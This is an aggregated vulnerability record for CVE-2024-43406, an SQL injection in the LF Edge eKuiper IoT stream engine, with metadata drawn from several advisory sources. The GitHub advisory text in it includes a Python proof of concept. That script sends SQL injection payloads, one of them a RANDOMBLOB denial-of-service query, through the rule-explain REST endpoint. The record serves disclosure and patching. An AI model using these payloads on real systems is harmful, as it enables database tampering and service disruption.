{"id":"GHSA-r5ph-4jxm-6j9p","revision":null,"records":[{"revision":"916785f3d068481f910047a63412557c","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2024-43406","aliases":[],"title":"LF Edge eKuiper has a SQL Injection in sqlKvStore","description":"LF Edge eKuiper is a lightweight IoT data analytics and stream processing engine running on resource-constraint edge devices. A user could utilize and exploit SQL Injection to allow the execution of malicious SQL query via Get method in sqlKvStore. This vulnerability is fixed in 1.14.2.","state":0,"publishedAt":"2024-08-20T15:00:06.571+00:00","modifiedAt":"2024-08-20T17:42:14.854+00:00","affected":[{"ecosystem":"Vendor product","name":"ekuiper","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"lf-edge\",\n                    \"product\": \"ekuiper\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 1.14.2\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"severity":"HIGH"}],"references":["https://github.com/lf-edge/ekuiper/security/advisories/GHSA-r5ph-4jxm-6j9p","https://github.com/lf-edge/ekuiper/commit/1a9c745649438feaac357d282959687012b65503"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2024-43406","license":"CVE Program Terms of Use","key":"cve-program:CVE-2024-43406","identifiers":["CVE-2024-43406"]},"retained":false,"historicalAffected":[]},{"revision":"592bd607be2047dc98064b283b15af6f","observedAt":"2026-11-15T02:33:58.223+00:00","statement":{"source":"euvd","id":"EUVD-2024-0054","aliases":["CVE-2024-43406","GHSA-r5ph-4jxm-6j9p","PYSEC-2024-72"],"title":"LF Edge eKuiper is a lightweight IoT data analytics and stream processing engine running on resource-constraint edge devices. A user could utilize and exploit SQL Injection to allow the execution of malicious SQL query via Get method in sql…","description":"LF Edge eKuiper is a lightweight IoT data analytics and stream processing engine running on resource-constraint edge devices. A user could utilize and exploit SQL Injection to allow the execution of malicious SQL query via Get method in sqlKvStore. This vulnerability is fixed in 1.14.2.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"severity":null}],"references":["https://github.com/lf-edge/ekuiper/security/advisories/GHSA-r5ph-4jxm-6j9p","https://github.com/lf-edge/ekuiper/commit/1a9c745649438feaac357d282959687012b65503"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2024-0054","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Aug 20, 2024, 3:00:06 PM","dateUpdated":"Aug 20, 2024, 5:42:14 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2024-0054","identifiers":["EUVD-2024-0054","CVE-2024-43406","GHSA-r5ph-4jxm-6j9p","PYSEC-2024-72"]},"retained":false,"historicalAffected":[]},{"revision":"37911b000cb84852bed4b79c70f28027","observedAt":"2026-10-25T00:17:28.27+00:00","statement":{"source":"nvd","id":"CVE-2024-43406","aliases":[],"title":"LF Edge eKuiper is a lightweight IoT data analytics and stream processing engine running on resource-constraint edge devices. A user could utilize and exploit SQL Injection to allow the execution of malicious SQL query via Get method in sql…","description":"LF Edge eKuiper is a lightweight IoT data analytics and stream processing engine running on resource-constraint edge devices. A user could utilize and exploit SQL Injection to allow the execution of malicious SQL query via Get method in sqlKvStore. This vulnerability is fixed in 1.14.2.","state":0,"publishedAt":"2024-08-20T15:15:24.07+00:00","modifiedAt":"2026-06-17T07:50:59.123+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"severity":"HIGH"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"severity":"HIGH"}],"references":["https://github.com/lf-edge/ekuiper/commit/1a9c745649438feaac357d282959687012b65503","https://github.com/lf-edge/ekuiper/security/advisories/GHSA-r5ph-4jxm-6j9p"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2024-43406","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-89"],"productCriteria":["cpe:2.3:a:lfedge:ekuiper:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2024-08-20T15:15:24.070","lastModified":"2026-06-17T07:50:59.123"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2024-43406","identifiers":["CVE-2024-43406"]},"retained":false,"historicalAffected":[]},{"revision":"fddd883a5d8d4358922e5020117cb61b","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-r5ph-4jxm-6j9p","aliases":["CVE-2024-43406","GO-2024-3078","PYSEC-2024-72"],"title":"LF Edge eKuiper has a SQL Injection in sqlKvStore","description":"### Summary\nA user could utilize and exploit SQL Injection to allow the execution of malicious SQL query via Get method in sqlKvStore. \n\n### Details\nI will use explainRuleHandler (\"/rules/{name}/explain\") as an example to illustrate. However, this vulnerability also exists in other methods such as sourceManageHandler, asyncTaskCancelHandler, pluginHandler, etc.\n\nThe SQL injection can happen in the code:\nhttps://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/pkg/store/sql/sqlKv.go#L89-L93\nThe code to accept user input is:\nhttps://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/server/rest.go#L274-L277\n\nThe rule id in the above code can be used to exploit SQL query.\n\nNote that the delete function is also vulnerable:\nhttps://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/pkg/store/sql/sqlKv.go#L138-L141\n\n### PoC\n```\nimport requests\nfrom urllib.parse import quote\n\n# SELECT val FROM 'xxx' WHERE key='%s';\npayload = f\"\"\"'; ATTACH DATABASE 'test93' AS test93;\nCREATE TABLE test93.pwn (dataz text);\nINSERT INTO test93.pwn (dataz) VALUES (\"sql injection\");--\"\"\"\n\n#payload = \"deadbeef'; SELECT 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(100000000))));--\"\n\nurl = f\"http://127.0.0.1:9081/rules/{quote(payload,safe='')}/explain\"   # explainRuleHandler\n\nres = requests.get(url)\nprint(res.content)\n```\n\nThe screenshot shows the malicious SQL query to insert a value:\n![image](https://github.com/user-attachments/assets/baf035cc-a561-4909-8d1f-e455e75375cb)\n\nThe screenshot shows the breakpoint of executing the query:\n![image](https://github.com/user-attachments/assets/b9c29945-a0cc-4271-bdc8-c1bddfda5b6f)\n\n\n\n\n### Impact\nSQL Injection vulnerability\n\nThe reporters are Yuan Luo, Shuai Xiong, Haoyu Wang from Tencent YunDing Security Lab.\n","state":0,"publishedAt":"2024-08-20T20:04:31+00:00","modifiedAt":"2026-09-10T03:50:55.3948257+00:00","affected":[{"ecosystem":"Go","name":"github.com/lf-edge/ekuiper","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.14.2"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"PyPI","name":"ekuiper","ranges":[{"type":"ECOSYSTEM","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.14.2"}]}],"versions":["0.0.1.post10035392509","0.0.1.post10469657945","0.0.1.post10592133245","0.0.1.post10917063435","0.0.1.post11433945270","0.0.1.post11434361037","0.0.1.post11771214162","0.0.1.post12369050331","0.0.1.post14569587727","0.0.1.post15011016639","0.0.1.post15265245754","0.0.1.post1529761077","0.0.1.post16017439871","0.0.1.post16212420887","0.0.1.post1640190752","0.0.1.post16436220442","0.0.1.post1656951467","0.0.1.post1661454534","0.0.1.post1707338123","0.0.1.post17425391204","0.0.1.post17934265679","0.0.1.post18767826745","0.0.1.post1926549727","0.0.1.post19563876430","0.0.1.post2080668443","0.0.1.post2238139389","0.0.1.post24644496127","0.0.1.post2474892687","0.0.1.post24975255951","0.0.1.post26427369374","0.0.1.post2757722354","0.0.1.post2910672767","0.0.1.post2911616762","0.0.1.post3144438011","0.0.1.post31763794892","0.0.1.post3239329472","0.0.1.post3334144675","0.0.1.post3334852441","0.0.1.post3410331757","0.0.1.post3411321026","0.0.1.post34304345391","0.0.1.post3495668732","0.0.1.post3545948676","0.0.1.post3712037225","0.0.1.post3764011091","0.0.1.post3936265927","0.0.1.post3954842791","0.0.1.post4180521993","0.0.1.post4435707843","0.0.1.post4562358382","0.0.1.post4720014312","0.0.1.post5010322351","0.0.1.post5065833905","0.0.1.post5265725915","0.0.1.post5484225879","0.0.1.post5899657036","0.0.1.post6045113904","0.0.1.post6144238120","0.0.1.post6453363172","0.0.1.post6555916078","0.0.1.post6820182077","0.0.1.post7205401650","0.0.1.post7257106983","0.0.1.post7404344961","0.0.1.post7405252226","0.0.1.post7458781898","0.0.1.post7797037221","0.0.1.post7983964087","0.0.1.post8014428509","0.0.1.post8150341330","0.0.1.post8273699428","0.0.1.post8319707068","0.0.1.post8478752636","0.0.1.post8782256682","0.0.1.post8813247801","0.0.1.post8829897389","0.0.1.post9220188115","0.0.1.post9638601298","0.0.1.post9690215560","0.0.1.post9736400841","1.10.0","1.10.1","1.10.2","1.11.0","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.12.0","1.12.1","1.12.2","1.12.3","1.12.4","1.12.5","1.12.6","1.12.7","1.12.8","1.13.0","1.13.1","1.13.2","1.13.3","1.13.4","1.13.5","1.13.6","1.14.0","1.14.1","1.4.0","1.4.1","1.4.2","1.4.3","1.4.4","1.5.0","1.5.1","1.6.0","1.6.1","1.6.2","1.6.3","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.8.0","1.8.1","1.8.2","1.9.0","1.9.1","1.9.2"],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/lf-edge/ekuiper/security/advisories/GHSA-r5ph-4jxm-6j9p","https://nvd.nist.gov/vuln/detail/CVE-2024-43406","https://github.com/lf-edge/ekuiper/commit/1a9c745649438feaac357d282959687012b65503","https://github.com/lf-edge/ekuiper","https://github.com/pypa/advisory-database/tree/main/vulns/ekuiper/PYSEC-2024-72.yaml"],"sourceUrl":"https://github.com/advisories/GHSA-r5ph-4jxm-6j9p","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-r5ph-4jxm-6j9p","identifiers":["GHSA-r5ph-4jxm-6j9p","CVE-2024-43406","GO-2024-3078","PYSEC-2024-72"]},"retained":false,"historicalAffected":[]},{"revision":"b83e573a71f04cf0a309e788edb0732a","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2024-3078","aliases":["CVE-2024-43406","GHSA-r5ph-4jxm-6j9p","PYSEC-2024-72"],"title":"LF Edge eKuiper has a SQL Injection in sqlKvStore in github.com/lf-edge/ekuiper","description":"LF Edge eKuiper has a SQL Injection in sqlKvStore in github.com/lf-edge/ekuiper","state":0,"publishedAt":"2024-08-22T20:03:04+00:00","modifiedAt":"2026-03-03T04:55:43.900958+00:00","affected":[{"ecosystem":"Go","name":"github.com/lf-edge/ekuiper","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.14.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/lf-edge/ekuiper/security/advisories/GHSA-r5ph-4jxm-6j9p","https://nvd.nist.gov/vuln/detail/CVE-2024-43406","https://github.com/lf-edge/ekuiper/commit/1a9c745649438feaac357d282959687012b65503"],"sourceUrl":"https://osv.dev/vulnerability/GO-2024-3078","license":"OSV · upstream source license applies","key":"osv:GO-2024-3078","identifiers":["GO-2024-3078","CVE-2024-43406","GHSA-r5ph-4jxm-6j9p","PYSEC-2024-72"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-15T12:00:55.3946839+00:00","complete":true,"records":1781,"lastAttemptAt":"2026-11-15T12:00:55.3946839+00:00","lastSuccessAt":"2026-11-15T12:00:55.579435+00:00","error":null,"lastVerifiedAt":"2026-11-15T12:00:55.5794357+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-7de4d7559a5263003f03d9f70577ab06f92ba4178309f26fce53e22a4a959294-9f2801eea6d0b63da2583193add6be220e1b53bbbe4ef94b9346425ef1596ca8","complete":true,"records":425788,"lastAttemptAt":"2026-11-15T12:00:54.4294537+00:00","lastSuccessAt":"2026-11-15T12:00:54.4082037+00:00","error":null,"lastVerifiedAt":"2026-11-15T12:00:54.4294537+00:00","snapshotPublishedAt":"2026-11-15T11:26:58+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-850c26e23e9a454eb8654cf34d45fa51","complete":false,"records":13821,"lastAttemptAt":"2026-11-15T12:10:42.9128167+00:00","lastSuccessAt":"2026-11-15T12:10:42.908+00:00","error":"92 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-15T12:10:42.908+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13568,"expectedIdentifiers":13874,"failedIdentifiers":92},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-15T12:00:55.3946839+00:00","complete":true,"records":1125,"lastAttemptAt":"2026-11-15T12:00:55.3946839+00:00","lastSuccessAt":"2026-11-15T12:00:55.580236+00:00","error":null,"lastVerifiedAt":"2026-11-15T12:00:55.580236+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-d33b5144615b488f88b7a7390696bc39","complete":false,"records":13833,"lastAttemptAt":"2026-11-15T12:01:03.1788889+00:00","lastSuccessAt":"2026-11-15T10:02:36.038+00:00","error":"1 identifier lookups failed; latest failures include HttpError (HTTP 503). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-15T10:02:36.038+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13873,"expectedIdentifiers":13874,"failedIdentifiers":1},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-64eea06dbd27de8464d5dbce1b78cc794cc59e2d901516ae0d3ea76e624cdae0","complete":true,"records":9955,"lastAttemptAt":"2026-11-15T12:00:55.0947737+00:00","lastSuccessAt":"2026-11-14T13:57:23.1208135+00:00","error":null,"lastVerifiedAt":"2026-11-15T12:00:55.0947737+00:00","snapshotPublishedAt":"2026-11-14T13:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-f4424d7d4861b1af1404bd15abcb83f295dcd003412a9340ca99dc8200aa148a","complete":true,"records":2014,"lastAttemptAt":"2026-11-15T12:00:54.588948+00:00","lastSuccessAt":"2026-11-13T19:57:08.2864435+00:00","error":null,"lastVerifiedAt":"2026-11-15T12:00:54.588948+00:00","snapshotPublishedAt":"2026-11-13T19:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-6086d649bcb454cdf302d7d9275177bda73550e1b6e446b3520e9b6266d3582c","complete":true,"records":3148,"lastAttemptAt":"2026-11-15T12:00:55.3229475+00:00","lastSuccessAt":"2026-11-15T11:05:17.1034234+00:00","error":null,"lastVerifiedAt":"2026-11-15T12:00:55.3229475+00:00","snapshotPublishedAt":"2026-11-15T10:03:04+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-ff18f36f13fcca3a20a3fb9274b59b8872d18869a99071730e1e79b625c8f612","complete":true,"records":232475,"lastAttemptAt":"2026-11-15T12:00:54.6916951+00:00","lastSuccessAt":"2026-11-15T11:05:10.4195883+00:00","error":null,"lastVerifiedAt":"2026-11-15T12:00:54.6916951+00:00","snapshotPublishedAt":"2026-11-15T10:33:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}